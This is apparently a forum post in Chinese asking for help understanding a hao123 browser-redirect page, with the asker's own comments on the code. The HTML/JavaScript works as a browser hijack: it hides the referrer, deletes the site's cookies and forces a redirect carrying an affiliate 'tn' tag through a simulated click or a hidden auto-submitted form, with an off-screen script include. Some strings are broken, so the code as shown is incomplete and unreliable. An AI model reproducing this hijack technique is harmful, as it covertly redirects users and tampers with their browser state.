浏览器hao123的跳转,里面好多代码不懂,求指导
<html><head>
<meta name="referrer" content="never">
<script type="text/javascript">
var n = "tn",
v = "aaaaaa_hao_pg",
w = ".,
u = ["www" + w, w];
function r() {
window.location.reload(true)
}
function k() { //定义函数k
var s = "http://" + u[0] + "/?"; //http://www.
s += n + "=" + v; //s=http://www. 这里+是连接符连接字符串变量
document.links[0].href = s //把s赋给document.links[0].href, 把第一个链接的href属性设置为http://www.
};
function g() { //定义一个函数名g的函数
with(document) { //输出document对象
var e = cookie.split(";"); //cookie用split函数; 分割成数组
for (t in e) { //遍历数组
var l = e[t], //数组中值赋给l
r = l.indexOf("="), //查找的位置
i = r > -1 ? l.substr(0, r) : l;
//l为h_t=1; r=3 如果indexOf查到 就substr截取赋给i
//下面整体cookie以一个或多个空格开始,替换全部空格为空,
if (i.replace(/^\s+|\s+$/g, '') != "h_t") {
for (x in u)
cookie = i + "=;domain=" + u[x] + ";expires=" + p( - 2) + ";"
}
}
}
//处理浏览器的兼容性
if (navigator.userAgent.toLowerCase().indexOf("webkit") != -1)
document.links[0].click(); //模拟第一个超链接的点击操作
else {
//火狐,ie和qq浏览器
with(window.frames[0].document) {
body.innerHTML = '<form target="_parent" action="http://' + u[0] + '/"></form>'; {
var a = createElement("input");
a.type = "hidden";
a.name = n;
a.value = v;
forms[0].appendChild(a)
}
forms[0].submit() //实现跳转
}
}
}
function p(e) {
var t = new Date;
t.setTime( + t + e);
return t.toGMTString()
}
</script>
</head>
<body onload='try{k();var a=document.cookie.match(new RegExp("(^| )"+"h_t"+"=([^;]*)(;|$)")),c=a?+a[2]:0;if(c>5)r();else{document.cookie="h_t="+(++c)+";expires="+p(10000);g()}}catch(e){r()}'>
<iframe src="about:blank" style="display:none">
</iframe>
<a href="" rel="noreferrer">
</a>
<p style='margin-left:-100em;'>
<script src="http://
language="JavaScript">
</script>
</p>
</body>
</html>